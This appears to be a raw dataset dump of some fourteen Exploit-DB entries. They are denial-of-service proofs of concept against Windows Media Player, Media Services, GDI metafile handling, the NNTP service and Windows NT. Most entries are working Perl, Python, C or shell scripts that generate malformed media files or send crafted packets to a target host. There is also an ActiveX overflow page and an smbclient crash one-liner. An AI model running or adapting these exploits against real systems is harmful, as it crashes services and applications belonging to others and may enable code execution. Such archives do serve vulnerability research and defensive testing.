deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21986
Description: Microsoft Windows Media Player 10 - '.avi' Integer Division By Zero Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-15
Author: Dark-Puzzle

Exploit:
#!/usr/bin/perl

# Souhail Hammou - Independant Security Researcher & Penetration Tester .
# Facebook : www.facebook.com/dark.puzzle.sec
# E-mail   : dark-puzzle@live.fr
# Greetings to all moroccan researchers and white hats .

# Title  : Windows Media Player 10 - .avi Integer Division By Zero Vulnerability
# Author : Dark-Puzzle (Souhail Hammou)
# Type   : DoS/PoC
# Risk   : Medium
# Vendor : Microsoft
# Versions : 10 Other Version May Be Vulnerable .
# Tested On : Windows XP SP2 .
# Date : 13 October 2012
# ---------------------------------------------------------- #
# Vulnerability Details : 
# Division By zero Vulnerability in Microsoft Windows Media Player Consists to divide the value of a register by Zero .
# In this case it is the ECX register executing a command DIV ECX as well known.
# This will cause an Integer division by Zero --> Exception Can't be Handled --> CRASH .
# Tested Just On Version "10" Might be working on other Versions .

# POC :


my $m = "MThd";
my $div =
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xff\xff\x00\xff\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x06\x00\x00\x00\x66\x66\x66\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";


open(myfile,'>divide.avi');
print myfile $m.$div;
close(myfile);
print "Windows Media Player 10 - .avi Integer Division By Zero Vulnerability\n";
print "\x44\x69\x73\x63\x6F\x76\x65\x72\x65\x64\x20\x26\x20\x50\x6F\x43\x20\x42\x79\x20\x44\x61\x72\x6B\x2D\x50\x75\x7A\x7A\x6C\x65\n";
print "Creating File Please Wait\n";
sleep 5;
Exploit-DB #33770
Description: Microsoft Windows Media Player 11 - '.AVI' File Colorspace Conversion Remote Memory Corruption
Type: dos
Platform: windows
Date: 2010-03-17
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/38790/info

Microsoft Windows Media Player is prone to a remote memory-corruption vulnerability when handling specially crafted AVI files.

An attacker can exploit this issue by enticing an unsuspecting user to open a malicious file with the vulnerable application. A successful exploit may allow arbitrary code to run in the context of the currently logged-in user.

Windows Media Player 11 is vulnerable; other versions may also be affected.

UPDATE (Mar 19, 2010): The vendor has not been able to replicate this issue. Pending further investigation, this BID will be updated and possibly retired.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33770.avi.gz
Exploit-DB #30462
Description: Microsoft Windows Media Player 11 - AU Divide-by-Zero Denial of Service
Type: dos
Platform: windows
Date: 2007-08-08
Author: A.Sawan & nophie

Exploit:
source: https://www.securityfocus.com/bid/25236/info

Microsoft Windows Media Player is prone to a denial-of-service vulnerability when processing a malformed AU file.

A remote attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Microsoft Windows Media Player 11; other versions may also be affected. 

#Windows Media Player 11 local/remote DoS by A.Sawan aka NtWaK0 and 
A.Hariri aka nophie


import sys
import os

head = 
("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"+
       
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"+
       
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"+
       
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
       "\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00")

print "[x] Windows Media Player 11 DoS by A.Sawan aka NtWaK0 and 
A.Hariri aka Nophie."

try:
   f = open("iapetus.au",'w')
except IOError, e:
    print "Unable to open file ", e
    sys.exit(0)

print "[x] File sucessfully opened for writing."
try:
   f.write(head)
except IOError, e:
    print "Unable to write to file ", e
    sys.exit(0)
print "[x] File successfully written."
f.close()
print "[x] Open iapetus.au with Windows Media Player 11."

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30462-1.au
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30462-2.py
Exploit-DB #35553
Description: Microsoft Windows Media Player 11.0.5721.5145 - '.avi' Buffer Overflow
Type: dos
Platform: windows
Date: 2011-03-31
Author: ^Xecuti0N3r

Exploit:
source: https://www.securityfocus.com/bid/47112/info

Microsoft Windows Media Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Microsoft Windows Media Player 11.0.5721.5145 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
#(+)Exploit Title: Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit
#(+)Software  : Windows Media player
#(+)Version   : 11.0.5721.5145
#(+)Tested On : WIN-XP SP3
#(+) Date     : 31.03.2011
#(+) Hour     : 13:37 
#Similar Bug was found by cr4wl3r in MediaPlayer Classic

system("color 6");
system("title Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit");
print "
_______________________________________________________________________
																	
(+)Exploit Title:  Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit
 
		
(+) Software  : Windows Media player
(+) Version   : 11.0.5721.5145									
(+) Tested On : WIN-XP SP3												
(+) Date      : 31.03.2011												
(+) Hour      : 13:37 PM													
____________________________________________________________________\n	";
sleep 2;
system("cls");
system("color 2");
print "\nGenerating the exploit file !!!";
sleep 2;
print "\n\nWMPExploit.avi file generated!!";
sleep 2;
$theoverflow = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
 
open(file, "> WMPExploit.avi");
print (file $theoverflow);
print "\n\n(+) Done!\n
(+) Now Just open WMPExplot.avi with Windows Media player and Kaboooommm !! ;) \n
(+) Most of the times there is a crash\n whenever you open the folder where the WMPExploit.avi is stored :D \n";

sleep 3;
system("cls");
sleep 1;
system("color C");
print "\n\n\n########################################################################\n
(+)Exploit Coded by: ^Xecuti0N3r\n
(+)^Xecuti0N3r: E-mail : xecuti0n3r@yahoo.com \n
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r & aNnIh!LatioN3r \n
########################################################################\n\n";
system("pause");
Exploit-DB #11531
Description: Microsoft Windows Media Player 11.0.5721.5145 - '.mpg' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-02-22
Author: cr4wl3r

Exploit:
#!/usr/bin/perl


# Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit
# Homepage: www.microsoft.com
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# From: Indonesia
#
####################################################
# Testing Results:
####################################################
# Bug: Integer Division By Zero
# Platform: Windows XP SP3 ENG
# Tested versions:
# 1. Windows Media Player 9         = crash
# 2. Windows Media Player 11.0.5721 = crash
# 3. Windows Media Player 11.0.6    = No crash
####################################################
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks



print "
[+]---------------------------------------------------------------------[+]
[+] Windows Media Player 11.0.5721.5145 (.mpg) Buffer Overflow Exploit  [+]
[+] By : cr4wl3r                                                        [+]
[+]---------------------------------------------------------------------[+]
";


$buff = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";

open(file, "> sploit.mpg");
print (file $buff);
print "\n\n[+] Done...!!!\n
[+] Open with Windows Media Player\n
[+] Coded by cr4wl3r\n";
Exploit-DB #32477
Description: Microsoft Windows Media Player 11.0.5721.5230 - Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2014-03-24
Author: TUNISIAN CYBER

Exploit:
#!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Windows Media Player 11.0.5721.5230 Memory Corruption PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://windows.microsoft.com/fr-FR/windows/windows-media-player
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R
 
import os
os.system("color 02")

print"###########################################################"
print"#  Title: WMP 11.0.5721.5230 Memory Corruption PoC         #"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
	
header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "ms.wav"
file = open(filename , "w")
file.write(header)
print "\n Files Created!\n"
file.close()
Exploit-DB #29285
Description: Microsoft Windows Media Player 6.4/10.0 - MID Malformed Header Chunk Denial of Service
Type: dos
Platform: windows
Date: 2006-12-15
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/21612/info

Multiple applications are prone to a denial-of-service vulnerability.

A remote attacker may exploit this vulnerability by presenting malicious 'WMV', 'MID', and 'AVI' files to a victim user. When an affected application processes this image, the application crashes, effectively denying service.

It is not known at this time if this issue can be leveraged to execute arbitrary code; this BID will be updated as further information becomes available.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29285.zip
Exploit-DB #2935
Description: Microsoft Windows Media Player 9/10 - '.mid' Denial of Service
Type: dos
Platform: windows
Date: 2006-12-15
Author: sehato

Exploit:
#!/bin/sh
# Windows Media MID File Denial Of Service Vulnerability
# Tested:
# Windows Media 10.00.00.4036
# Windows XP SP2
# file "example.mid" (Hex-Code):
# 4D 54 68 64 00 00 00 06 00 00 00 00 00 00
# File size = 14 byte

perl -e 'print "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"' > example.mid

# milw0rm.com [2006-12-15]
Exploit-DB #32294
Description: Microsoft Windows Media Services 'nskey.dll' 4.1 - ActiveX Control Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2008-08-22
Author: Jeremy Brown

Exploit:
source: https://www.securityfocus.com/bid/30814/info

The Microsoft Windows Media Services ActiveX control is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of an application using the affected ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

'nskey.dll' 4.1.00.3917 is vulnerable; other versions may also be affected. 

<html><body>

<object id=target classid=clsid:2646205B-878C-11D1-B07C-0000C040BCDB></object>
<script language=vbscript>

arg1=String(9752, "A")
target.CallHTMLHelp arg1

</script>
</body></html>
Exploit-DB #19974
Description: Microsoft Windows Media Services 4.0/4.1 - Denial of Service (MS00-038)
Type: dos
Platform: windows
Date: 2000-05-31
Author: Kit Knox

Exploit:
// source: https://www.securityfocus.com/bid/1282/info

Windows Media Encoder is part of Windows Media Services. It's purpose is to convert content into a suitable format for video or audio streaming through the Media Services.

If a specially malformed request is sent to the Windows Media Encoder it could cause the service to crash. The service would need to be restarted in order to regain normal functionality.

/*
 *
 * Media Streaming Broadcast Distribution (MSBD)
 * Denial of Service Attack
 *
 * (C) 2000 Kit Knox <kit@rootshell.com> - Public Release: 05/31/00
 *
 * Causes the Windows Media Encoder to crash with a "Runtime Error!"
 *
 * "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1".
 *
 * Tested on version 4.1.0.3920 file "NsRex.exe" 998KB 1/11/00.
 *
 * Official Microsoft patch is available :
 *
 * http://www.microsoft.com/technet/security/bulletin/ms00-038.asp
 *
 * Thanks to Microsoft and the WMT group for their prompt attention to this
 * matter.
 *
 */

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

char bogus_msbd_packet1[] = {
0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00,
0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00,
0x77, 0x00, 0x00, 0x00
};

int sock;
 
int main(int argc, char *argv[]) {
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];
  
  if (argc != 2) {
    fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
    return(-1);
  }
  
  sock = socket ( AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons(7007);
  he = gethostbyname (argv[1]);
  if (!he) {
    if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
      return(-1);
  } else {
    bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  }
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    fprintf(stderr, "Fatal Error: Can't connect to Windows Media Encoder.\n");
    return(-1);
  }
  write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1));
  for (;;) {
    read(sock, buf, sizeof(buf));
  }
}
Exploit-DB #1343
Description: Microsoft Windows Metafile - 'gdi32.dll' Denial of Service (MS05-053)
Type: dos
Platform: windows
Date: 2005-11-29
Author: Winny Thomas

Exploit:
/*
 * Author: Winny Thomas
 *	   Pune, INDIA
 *
 * The crafted metafile from this code when viewed in internet explorer raises the CPU utilization 
 * to 100%. The code was tested on Windows 2000 server SP4. The issue does not occur with the 
 * hotfix for GDI (MS05-053) installed
 *
 * Disclaimer: This code is for educational/testing purposes by authosized persons on 
 * networks/systems setup for such a purpose.The author of this code shall not bear 
 * any responsibility for any damage caused by using this code.
 *
 */

#include <stdio.h>

unsigned char wmfheader[] = 
"\xd7\xcd\xc6\x9a\x00\x00\xc6\xfb\xca\x02\xaa\x02\x39\x09\xe8\x03"
"\x00\x00\x00\x00\x66\xa6"
"\x01\x00"
"\x09\x00"
"\x00\x03"
"\xff\xff\xff\xff" //Metafile file size
"\x04\x00"
"\xff\xff\xff\xff" //Largest record size
"\x00\x00";

unsigned char MetafileRECORD[] = 
"\x05\x00\x00\x00\x0b\x02\x39\x09\xc6\xfb\x08\x00\x00\x00\xfa\x02"
"\x05\x00\x00\x00\x00\x00\xff\xff\xff\x00\x04\x00\x00\x00\x2d\x01"
"\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x04\x00\x00\x00\x2d\x01"
"\x02\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xff\xff\xff\x00\x00\x00"
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\x2d\x01\x02\x00"
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01\x00\x00"
"\x07\x00\x00\x00\xfc\x02\x00\x00\xfa\x94\x93\x00\x00\x00\x04\x00"
"\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00"
"\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03\x08\x00\xc6\xfb"
"\x9b\x03\xbc\xfe\x9b\x03\x0f\x01\x1a\x07\xa5\x02\x1a\x07\xf4\x00"
"\x39\x09\xd5\xfc\x36\x07\x86\xfe\x36\x07\xc6\xfb\x9b\x03";

unsigned char wmfeof[] = 
"\x00\x00\x00\x00";

int main(int argc, char *argv[])
{
	FILE *fp;
	char wmfbuf[1024];
	int metafilesize, metafilesizeW, i, j;
	
	metafilesize = sizeof (wmfheader) + sizeof (MetafileRECORD) + sizeof(wmfeof) -3;
	metafilesizeW = metafilesize/2;
	memcpy((unsigned long *)&wmfheader[28], &metafilesizeW, 4);

	printf("[*] Adding Metafile header\n");
	for (i = 0; i < sizeof(wmfheader) -1; i++) {
		(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];
	}
			
	printf("[*] Adding Metafile records\n");
	for (j = i, i = 0; i < sizeof(MetafileRECORD) -1; i++, j++) {
		wmfbuf[j] = MetafileRECORD[i];
	}
	
	printf("[*] Adding EOF record\n");
	for (i = 0; i < sizeof(wmfeof) -1; i++, j++) {
		wmfbuf[j] = wmfeof[i];
	}

	printf("[*] Creating Metafile (MS053.wmf)\n");
	fp = fopen("MS053.wmf", "wb");
	fwrite(wmfbuf, 1, metafilesize, fp);
	fclose(fp);
}

// milw0rm.com [2005-11-29]
Exploit-DB #26951
Description: Microsoft Windows Movie Maker 2.1.4026.0 - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-07-18
Author: ariarat

Exploit:
# Exploit Title: Windows Movie Maker Version 2.1.4026.0 (.wav) - Crash POC
# Date: 16-07-2013
# Exploit Author: ariarat
# Vendor Homepage: http://www.microsoft.com
# Software Link: included in windows xp sp2 and sp3
# Version: 2.1.4026.0
# Tested on: [ Windows XP sp3]
# CVE : 2013-4858
#============================================================================================
# Open Windows movie maker in left panel click on "Import audio or music" and choose movieMaker.wav
#  
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "movieMaker.wav"
file = open(filename , "w")
file.write(string)
file.close()
Exploit-DB #578
Description: Microsoft Windows NNTP Service (XPAT) - Denial of Service (MS04-036)
Type: dos
Platform: windows
Date: 2004-10-16
Author: Lucas Lavarello

Exploit:
#--
# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
#    Lucas Lavarello (lucas at coresecurity dot com)
#    Juliano Rizzo   (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT,  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
# www coresecurity com
#--
from socket import * 

host = "127.0.0.1"
pat = "C"*1946  + " " + "X"*10

newsgroup = "control.newgroup"

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host, 119))

print sock.recv(512)

sock.send("group %s\x0d\x0a" % newsgroup)

print sock.recv(512)

sock.send("xpat From 1-9 %s \x0d\x0a" % pat)


# milw0rm.com [2004-10-16]
Exploit-DB #329
Description: Microsoft Windows NT - Crash with an Extra Long 'Username' Denial of Service
Type: dos
Platform: windows
Date: 1997-04-01
Author: Fyodor

Exploit:
You can crash an NT box (possibly W95 too) by sending a very long username in a Winpopup message. This is easy to do from UNIX with 'smbclient -U LOTSandLOTSofcrap -M host'.

# milw0rm.com [1997-04-01]